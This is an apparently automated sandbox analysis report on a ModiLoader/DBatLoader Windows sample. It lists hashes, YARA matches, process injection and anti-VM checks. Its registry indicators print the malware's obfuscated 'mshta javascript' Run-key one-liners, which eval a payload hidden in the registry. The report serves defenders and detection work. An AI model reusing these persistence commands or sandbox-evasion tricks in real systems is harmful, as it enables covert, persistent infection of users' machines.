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Analysis
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max time kernel
150s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240220-en -
resource tags
arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system -
submitted
17/06/2024, 09:41
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe
Resource
win7-20240220-en
windows7-x64
14 signatures
150 seconds
Behavioral task
behavioral2
Sample
b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe
Resource
win10v2004-20240508-en
windows10-2004-x64
14 signatures
150 seconds
General
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Target
b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe
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Size
600KB
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MD5
b7f193fa072c0e7e414627741c78bad6
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SHA1
6c75654c5e75f7ab9ff08836d83a45fb0b9cca65
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SHA256
898ef95a6e90a7323b47c78f82ffb493c725a6d2f71e0e501be855d09a6fe60f
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SHA512
c1b8a1ef79ab7a54572969368acfb7ffe34d195eb513f5620d6e20492d24ac8ec1ba463b57bb4eff32cc80fe53797b84d4d424f3036a7e5d89e98e1070c220d2
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SSDEEP
12288:Fau/RLJInmnlQMXA8uPlkr71/6PCy2iA7swhmMbb:QIRLJInmnlVXr71/lQqb
Score
10/10
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 41 IoCs
resource yara_rule behavioral1/memory/2280-4-0x0000000000400000-0x000000000049B000-memory.dmp modiloader_stage2 behavioral1/memory/2280-6-0x0000000006190000-0x000000000625C000-memory.dmp modiloader_stage2 behavioral1/memory/2280-10-0x0000000006190000-0x000000000625C000-memory.dmp modiloader_stage2 behavioral1/memory/2280-9-0x0000000006190000-0x000000000625C000-memory.dmp modiloader_stage2 behavioral1/memory/2280-8-0x0000000006190000-0x000000000625C000-memory.dmp modiloader_stage2 behavioral1/memory/2280-7-0x0000000006190000-0x000000000625C000-memory.dmp modiloader_stage2 behavioral1/memory/2280-11-0x0000000006190000-0x000000000625C000-memory.dmp modiloader_stage2 behavioral1/memory/2280-18-0x0000000000400000-0x000000000049B000-memory.dmp modiloader_stage2 behavioral1/memory/2540-21-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2540-22-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2540-25-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2540-24-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2540-23-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2540-26-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-36-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-38-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-37-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-40-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-41-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-39-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-42-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-43-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-50-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-49-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-48-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-47-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-46-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-45-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-44-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2896-54-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2896-55-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2896-56-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2896-59-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2896-58-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-60-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2656-61-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2588-66-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2588-69-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2588-68-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2588-67-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2588-65-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:tMsj50uFW=\"DxFnqcWo30\";Zd9=new%20ActiveXObject(\"WScript.Shell\");fiK4Z8LH=\"IxWCK8PKul\";jzyB89=Zd9.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\46f24739d5\\\\0f88de91\");LZqN8jYkN=\"owo\";eval(jzyB89);nLwu6UE=\"Xl49mY\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
pid Process 2656 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:G7pf2wYX=\"8\";Y90O=new%20ActiveXObject(\"WScript.Shell\");xMaSxdT65i=\"j39brb\";jfU2R=Y90O.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\46f24739d5\\\\0f88de91\");mYqB3z7RF=\"G\";eval(jfU2R);CyFmLASr5=\"mGKSD2nIj\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:mD5BkXz=\"x\";u9f6=new%20ActiveXObject(\"WScript.Shell\");bJR0QKD=\"lTvYx2x\";MSb5r=u9f6.RegRead(\"HKCU\\\\software\\\\46f24739d5\\\\0f88de91\");Ofmvi1yL=\"sF\";eval(MSb5r);YFyiW5bYg=\"60ZqKciF\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
pid Process 2280 b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe 2280 b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe 2280 b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe 2540 regsvr32.exe 2540 regsvr32.exe 2540 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe 2656 regsvr32.exe -
Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 2280 wrote to memory of 2540 2280 b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe 28 PID 2280 wrote to memory of 2540 2280 b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe 28 PID 2280 wrote to memory of 2540 2280 b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe 28 PID 2280 wrote to memory of 2540 2280 b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe 28 PID 2280 wrote to memory of 2540 2280 b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe 28 PID 2280 wrote to memory of 2540 2280 b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe 28 PID 2280 wrote to memory of 2540 2280 b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe 28 PID 2540 wrote to memory of 2656 2540 regsvr32.exe 29 PID 2540 wrote to memory of 2656 2540 regsvr32.exe 29 PID 2540 wrote to memory of 2656 2540 regsvr32.exe 29 PID 2540 wrote to memory of 2656 2540 regsvr32.exe 29 PID 2540 wrote to memory of 2656 2540 regsvr32.exe 29 PID 2540 wrote to memory of 2656 2540 regsvr32.exe 29 PID 2540 wrote to memory of 2656 2540 regsvr32.exe 29 PID 2656 wrote to memory of 2896 2656 regsvr32.exe 30 PID 2656 wrote to memory of 2896 2656 regsvr32.exe 30 PID 2656 wrote to memory of 2896 2656 regsvr32.exe 30 PID 2656 wrote to memory of 2896 2656 regsvr32.exe 30 PID 2656 wrote to memory of 2896 2656 regsvr32.exe 30 PID 2656 wrote to memory of 2896 2656 regsvr32.exe 30 PID 2656 wrote to memory of 2896 2656 regsvr32.exe 30 PID 2656 wrote to memory of 2588 2656 regsvr32.exe 31 PID 2656 wrote to memory of 2588 2656 regsvr32.exe 31 PID 2656 wrote to memory of 2588 2656 regsvr32.exe 31 PID 2656 wrote to memory of 2588 2656 regsvr32.exe 31 PID 2656 wrote to memory of 2588 2656 regsvr32.exe 31 PID 2656 wrote to memory of 2588 2656 regsvr32.exe 31 PID 2656 wrote to memory of 2588 2656 regsvr32.exe 31
Processes
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C:\Users\Admin\AppData\Local\Temp\b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\b7f193fa072c0e7e414627741c78bad6_JaffaCakes118.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2280 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2540 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2656 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:2896
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:2588
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